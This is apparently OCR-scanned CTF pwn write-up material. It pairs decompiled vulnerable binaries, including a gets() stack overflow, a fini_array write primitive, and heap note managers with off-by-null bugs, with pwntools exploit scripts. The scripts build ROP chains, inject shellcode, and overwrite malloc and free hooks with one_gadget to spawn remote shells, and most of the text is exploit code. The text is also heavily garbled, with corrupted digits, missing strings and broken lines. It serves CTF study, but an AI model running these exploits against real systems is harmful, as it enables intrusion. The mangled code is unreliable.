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int __cdecl main(int argc, const char **argv, const char **envp)

{

char s[32]; // [esp+1@h] [ebp-206h] BYREF

puts("What's your name?");
fflush(stdout);
gets(s);
puts("What's your favorite number?");
fflush(stdout);
__is0c99_scanf("%d", &meow);
if ( (meow & 1) =0 )
printf("Hello %s, %d is an odd number!\n", s, meow);
else
printf("Hello %s, %d is an even number!\n", s, meow);
fflush(stdout);
return 8;
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from pwn import
context(os ,1log level
r remote( ,27739)

elf.plt[
0x8042060

36 p32(gets_plt) p32(gets_plt) p32(bss_addr) p32(bss_addr)

.sendlineafter( , payload)
.sendlineafter(

.sendline(asm(shellcraft.sh()))

.interactive()
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__int64 sub_401B6D()

__inté4 result; // rax

char *v1; // [rsp+8h] [rbp-28h]

char buf[24]; // [rsp+16h] [rbp-28h] BYREF
unsigned __inte4 v3; // [rsp+28h] [rbp-8h]

v3 = _ readfsgqword(@x28u);

result = (unsigned __int8)++byte_4B933e;

if ( byte _4B9330 == 1 )

{
sub_446ECO(1u, "addr:", 5ull);
sub_446epe(e, buf, ex18ulLl);
vl = (char *)(int)sub_4@EE70(buf);
sub_446ECO(1u, "data:", 5ull);
sub_446E20(0, v1, @x18ull);
result = @LL;

}

if ( __readfsqword(ex28u) != v3 )
sub_44A3Ee();

return result;
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ERBATEEE, XMEFHIfini_aray$Ha pii.

.fini_array:00000000004B40F@ ; Segment permissions: Read/Write

.fini_array:00000000004B40F0@ _fini_array segment gqword public 'DATA' use64
.fini_array:00000000004B40F0 assume cs:_fini_array

.fini_array:00000000004B40F0 ;org 4B4eFeh

.fini_array:00000000004B40F0 off_4B40F0 dq offset sub_4e1Bee ; DATA XREF: sub_4628De+4CtTo
.fini_array:00000000004B40F0 ; sub_402960+8To
.fini_array:00000000004B40F8 dgq offset sub_401580

.fini_array:00000000004B40F8 _fini_array ends

.fini_array:00000000004B40F8
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from pwn import

remote( , 29087)

context.log level

fini_array = ©x4B40F0
main_addr = 0x401B6D
libc_csu_fini 0x402960
esp = fini_array + 0x10
leave_ret 0x401C4B

ret 0x401016

rop_syscall 0x471db5
rop_pop_rax ox4ledaf
rop_pop_rdx ox446e35
rop_pop_rsi 0x406C30
0x401696
0x4B419A

def write(addr,data):
.recv()
.send( (addr))
.recv()
.send(data)

write(fini_array,p64(libc_csu_fini) p64(main_addr))

8,p64(0x3b))
16,p64(rop_pop_rdi))
24,p64(bin_sh_addr))
32,p64(rop_pop_rdx))
40,p64(0))
48,p64(rop_pop_rsi))
56,p64(0))
64,p64(rop_syscall))

write(fini_array,p64(leave_ret) p64(ret))

r.interactive()
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__inte4 sub_B606()
{
unsigned int ve; // eax
__int64 result; // rax
signed int v2; // [rsp+Ch] [rbp-4h]

v2Z = 8;
setvbuf(stdout, eLL, 2, eLL);
setvbuf(stdin, @LL, 2, OLL);
ve = time(OLL);
srand(ve);
while ( v2 <= ©x1eeee )
v2 = rand() & ©xFFFFFee8;
unk_282818 = mmap((void *)v2, exleeeuLL, 3, 34, -1, OLL);
result = unk_202018;

if ( unk_202018 == -1LL )
{
puts("mmap error");
exit(e);
¥
return result;
} I
BItEtk
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add

int _ fastcall add(__inte4 al,
{

__inte4 a2)
int i; // [rsp+4h] [rbp-Ch]
unsigned __inté4 v4; // [rsp+8h] [rbp-8h]

for (1 =9; ; ++1 )
{
if (1>99)
return puts("Fulled !!");
if ( !*(_QWORD *)(unk_202018 + 48LL * i + 4@) )
break:;
¥
printf(“"Size of heart : ");
v4d = (int)sub_CA9("Size of heart : ", a2);
if ( v4 > ex1e0 )
return puts(“Too big !");
sub_D27(unk_202018 + 48LL * i, v4);
return puts("Done !");
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_BYTE *__fastcall sub_D27(size_t *al, size_t a2)

{
_BYTE *result; // rax

*al = a2;
printf("Name of heart :");
sub_C38(al + 1, 32LL);
al[5] = (size_t)malloc(a2);
if ( !a1[5] )
{
puts("Allocate Error !");
exit(e);
¥
printf(“secret of my heart :");
result = (_BYTE *)(al[5] + (int)sub_C38(al[5], (unsigned int)a2));
*result = 8;
return result;

delete

unsigned int v3; // [rsp+Ch] [rbp-4h]

printf("Index :");

v3 = sub_CA9("Index :", a2);

if ( v3 > exe3 )

{
puts("Out of bound !");
exit(-2);

}

if ( !'*(_QWORD *)(unk_202018 + 48LL * v3 + 40) )
return puts(“"No such heap !");

sub_DE4(unk_202018 + 48LL * v3):

return puts(“"Done !");
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from pwn import
context.log level

r remote( , 29361)
elf = ELF(
libc ELF( )




.sendlineafter( 5 (1))
.sendlineafter( 5 (size))
.sendafter( 5 0x20)

.sendafter( , sec)

def show(idx):
r.sendlineafter(

r.sendlineafter(
def delete(idx):

r.sendlineafter(

r.sendlineafter(

ub4(r.recv(6).ljust(8,

5 OxFO+p64(0x100))

k)

add (0x100, ox68 p64(0x70))

)
ub4(r.recv(6).ljust(s, ))-88-0x10-1ibc.symbols|
malloc_addr libc_base libc.sym[ ]
sys_addr libc_base libc.sym[
one_gadget libc_base oxfo2a4

, Ox80+p64 (0)+p64(0x71))

5 0x80+p64(0)+p64(0x71)+p64(malloc_addr-0x23))

0x13+p64(one_gadget))

r.interactive()
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/6 = v4}
vd += 4;
__1s0c99_scanf("%d", v6);

}

while ( v4 != &command[86] );

do

*U3++ += 114514
while ( v3 != &dword_4100 );
v7 = command[@];
vE = aPvvnlsSeGreat;
for ( 1 = command; v7; ++v& )
{
if ( 1*v8 )
break;
if ( *v8 1= v7 )
break;
V7 = *44i;
}
if ( *v8 )
exit(1);
puts("U GOT 1T! NeW 1 WiLL G1V3 YU THE SHELL");
system(command) ;
return oLL;
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exp

from pwn import

context.log_level

remote( , 29056)

i in (6):
i* 4
.sendline( (u32(flag[a:a+4])-114514))

i in (14):
.sendline( )

r.interactive()




add

int i; //
unsigned int v3; //
unsigned __inted v4; //

= __readfsqword(®x28u);
for (i = ©; <= 9 && *(_QWORD
if (1i==10)
{

puts("fulll");
}
else
{

= tk;

*(_QWORD *)(ve + 16LL * 1) = malloc(©xF8uLL);

if ( !'*(_QWORD *)(1e6LL *
{
puts("malloc error!");
bye_bye();
}
printf(“size \n> ");
= get_atoi();
if ( > @xF8 )
bye_bye();
*(_DWORD *)(16LL * i + tk
printf(“content \n> ");

safe_read(*(char **)(16LL *

}

return __readfsqword(©®x28u)

INASFERT-0x8

Ll

y(1eLL * 1 + tk); ++1 )
+ tk) )
+ tk), *(_DWORD *)(16LL *

+ tk + 8));

chunk X



safe_read— fi . fsafe

if ( a2 )
{
while ( 1 )
{
read(@, &a1[v3], 1uLL);
if (a2 -1 < v3 || lai[v3] || ai[v3] == 18 )
break;
++v3;
}
al[v3] =
al[a2]
}

else
r
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bnsigned _ int64 delete_1(void)

{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __inté4 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(@x28u);
printf("index \n> ");
vl = get_atoi();
if ((vi > 9 || !*(_QWORD *)(16LL * v1 + tk) )
bye_bye();
memset(*(void **)(16LL * vl + tk), @, *(unsigned int *)(16LL * vl + tk + 8));
free(*(void **)(16LL * v1 + tk));
*(_DWORD *)(16LL * v1 + tk + 8) = ©;
*(_QWORD *)(16LL * v1 + tk) = eLL;
return __readfsqword(®x28u) ™ v2;
}
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puts

.lunsigned __int64 puts_1(void)
'
unsigned int v1; // [rsp+4h] [rbp-Ch]

unsigned __inté4 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(@x28u);

printf(“index \n> ");

3| vl = get_atoi();

AF (vl o> 9 || !*(_QWORD *)(16LL * vi + tk) )
) bye_bye();

.| puts(*(const char **)(16LL * vl + tk));

'| return __readfsqword(@x28u) ~ v2;

puts th 5 ] 8
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SR 5 i off by null.

import




, 25194)

def add(size, content):
r.sendlineafter( )
r.sendlineafter( (size))
r.sendlineafter( content)

def delete(index):
r.sendlineafter( )

r.sendlineafter( (index))

def show(index):

r.sendlineafter( )

r.sendlineafter( (index))
add (OxFO, OXFO)
add (OxFO, OXFO)

add (OxFO, OXFO)

for i in (7):
add(oxFo, OXFO)

for i in (3,10):
delete(i)

(7):
add (0xFo, OxFO)

add (0xFO, OxFO)

add (0xFO, OxFO)
add (0xFo, OxFO)

for i in

delete(i)

delete(7)

for i in
add (oxFo,

delete(i)




i in (7):
add (oxFo, oxF0)

(ub4(r.recvuntil( )[-6:].1just(8, OXFFFFFFFFFFFFFO00) (libc.sym[

OXFFF)
libc_base malloc_hook libc.sym[
free_hook libc_base libc.sym[
libc_base ox41322
(libc_base)

add (0xF0, p64(free_hook))
add (0xFo, )

add (0xFO,p64(one_gadget))

delete(1)

r.interactive()
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